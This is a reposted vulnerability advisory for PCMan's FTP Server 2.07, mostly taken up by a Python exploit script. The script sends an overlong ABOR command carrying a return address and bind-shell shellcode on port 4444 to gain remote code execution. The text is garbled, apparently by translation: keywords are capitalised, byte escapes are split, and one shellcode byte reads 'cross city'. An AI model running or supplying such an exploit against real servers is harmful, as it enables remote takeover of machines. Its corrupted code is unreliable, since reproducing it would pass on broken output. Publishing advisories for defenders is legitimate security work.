PCMan's FTP Server 'cwd 'command Buffer Overflow Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Sourceforge PCMan's FTP Server 2.07
Description:
--------------------------------------------------------------------------------
Bugtraq id: 65299

PCMan's FTP Server is a simple and easy-to-use basic FTP Server.

In PCMan's FTP Server 2.07, USER, PASS, STOR, ABOR, and CWD commands are not correctly verified, and the Implementation overflow vulnerability exists, this allows remote attackers to cause DoS and execute arbitrary code.

<* Source: Mahmod Mahajna

Link: http://osvdb.org/show/osvdb/94624
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

# Exploit Title: pcman ftp 2.07 ABOR Command Buffer Overflow
# Date: Jan 25, 2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: m.dofo123@gmail.com
Import socket as s
From sys import argv
#
If (len (argv )! = 4 ):
Print "USAGE: % s host <user> <password>" % argv [0]
Exit (1)
Else:
# Store command line arguments
Script, host, fuser, fpass = argv
# Vars
Junk = '\ x41' * 2011 # overwrite function (ABOR) with garbage/junk chars
Espaddress = '\ x59 \ x06 \ xbb \ x76' #76BB0659
Nops = '\ x90' * 10
Shellcode = (# bind shell | PORT 4444
"\ X31 \ xc9 \ xdb \ xcd \ xbb \ xb3 \ x93 \ x96 \ x9d \ xb1 \ x56 \ xd9 \ x74 \ x24 \ xf4"
"\ X5a \ x31 \ x5a \ x17 \ x83 \ xea \ xfc \ x03 \ x5a \ x13 \ x51 \ x66 \ x6a \ x75 \ x1c"
"\ X89 \ x93 \ x86 \ x7e \ x03 \ x76 \ xb7 \ xac \ x77 \ xf2 \ xea \ x60 \ xf3 \ x56 \ x07"
"\ X0b \ x51 \ x43 \ x9c \ x79 \ x7e \ x64 \ x15 \ x37 \ x58 \ x4b \ xa6 \ xf6 \ x64 \ x07"
"\ X64 \ x99 \ x18 \ x5a \ xb9 \ x79 \ x20 \ x95 \ xcc \ x78 \ x65 \ xc8 \ x3f \ x28 \ x3e"
"\ X86 \ x92 \ xdc \ x4b \ xda \ x2e \ xdd \ x9b \ x50 \ x0e \ xa5 \ x9e \ xa7 \ xfb \ x1f"
"\ Xa0 \ xf7 \ x54 \ x14 \ xea \ xef \ xdf \ x72 \ xcb \ x0e \ x33 \ x61 \ x37 \ x58 \ x38"
"\ X51 \ xc3 \ x5b \ xe8 \ xa8 \ x2c \ x6a \ xd4 \ x66 \ x13 \ x42 \ xd9 \ x77 \ x53 \ x65"
"\ X02 \ x02 \ xaf \ x95 \ xbf \ x14 \ x74 \ xe7 \ x1b \ x91 \ x69 \ x4f \ xef \ x01 \ x4a"
"\ X71 \ x3c \ xd7 \ x19 \ x7d \ x89 \ x9c \ x46 \ x62 \ x0c \ x71 \ xfd \ x9e \ x85 \ x74"
"\ Xd2 \ x16 \ xdd \ x52 \ xf6 \ x73 \ x85 \ xfb \ xaf \ xd9 \ x68 \ x04 \ xaf \ x86 \ xd5"
"\ Xa0 \ xbb \ x25 \ x01 \ xd2 \ xe1 \ x21 \ xe6 \ xe8 \ x19 \ xb2 \ x60 \ x7b \ x69 \ x80"
"\ X2f \ xd7 \ xe5 \ xa8 \ xb8 \ xf1 \ xf2 \ xcf \ x92 \ x45 \ x6c \ x2e \ x1d \ xb5 \ xa4"
"\ Xf5 \ x49 \ xe5 \ xde \ xdc \ xf1 \ x6e \ x1f \ xe0 \ x27 \ x20 \ x4f \ x4e \ x98 \ x80"
"\ X3f \ x2e \ x48 \ x68 \ x2a \ xa1 \ xb7 \ x88 \ x55 \ x6b \ xce \ x8f \ x9b \ x4f \ x82"
"\ X67 \ xde \ x6f \ x34 \ x2b \ x57 \ x89 \ x5c \ xc3 \ x31 \ x01 \ xc9 \ x21 \ x66 \ x9a"
"\ X6e \ x5a \ x4c \ xb6 \ x27 \ xcc \ xd8 \ xd0 \ xf0 \ xf3 \ xd8 \ xf6 \ x52 \ x58 \ cross city"
"\ X91 \ x20 \ xb2 \ x45 \ x80 \ x36 \ x9f \ xed \ xcb \ x0e \ x77 \ x67 \ xa2 \ xdd \ xe6"
"\ X78 \ xef \ xb6 \ x8b \ xeb \ x74 \ x47 \ xc2 \ x17 \ x23 \ x10 \ x83 \ xe6 \ x3a \ xf4"
"\ X39 \ x50 \ x95 \ xeb \ xc0 \ x04 \ xde \ xa8 \ x1e \ xf5 \ xe1 \ x31 \ xd3 \ x41 \ xc6"
"\ X21 \ x2d \ x49 \ x42 \ x16 \ xe1 \ x1c \ x1c \ xc0 \ x47 \ xf7 \ xee \ xba \ x11 \ xa4"
"\ Xb8 \ x2a \ xe4 \ x86 \ x7a \ x2d \ xe9 \ xc2 \ x0c \ xd1 \ x5b \ xbb \ x48 \ xed \ x53"
"\ X2b \ x5d \ x96 \ x8e \ xcb \ xa2 \ x4d \ x0b \ xfb \ xe8 \ xcc \ x3d \ x94 \ xb4 \ x84"
"\ X7c \ xf9 \ x46 \ x73 \ x42 \ x04 \ xc5 \ x76 \ x3a \ xf3 \ xd5 \ xf2 \ x3f \ xbf \ x51"
"\ Xee \ x4d \ xd0 \ x37 \ x10 \ xe2 \ xd1 \ x1d \ x1a \ xcd ")
Sploit = junk + espaddress + nops + shellcode
# Create socket
Conn = s. socket (s. AF_INET, s. SOCK_STREAM)
# Establish connection to server
Conn. connect (host, 21 ))
# Post ftp user
Conn. send ('user' + fuser + '\ r \ n ')
# Wait for response
Uf = conn. recv (1024)
# Post ftp password
Conn. send ('pass' + fpass + '\ r \ n ')
# Wait for response
Pf = conn. recv (1024)
# Send ftp command with sploit
Conn. send ('abor' + sploit + '\ r \ n ')
Cf = conn. recv (1024)
# Close connection
Conn. close ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Sourceforge
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://sourceforge.net/projects/pcmanftpd/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.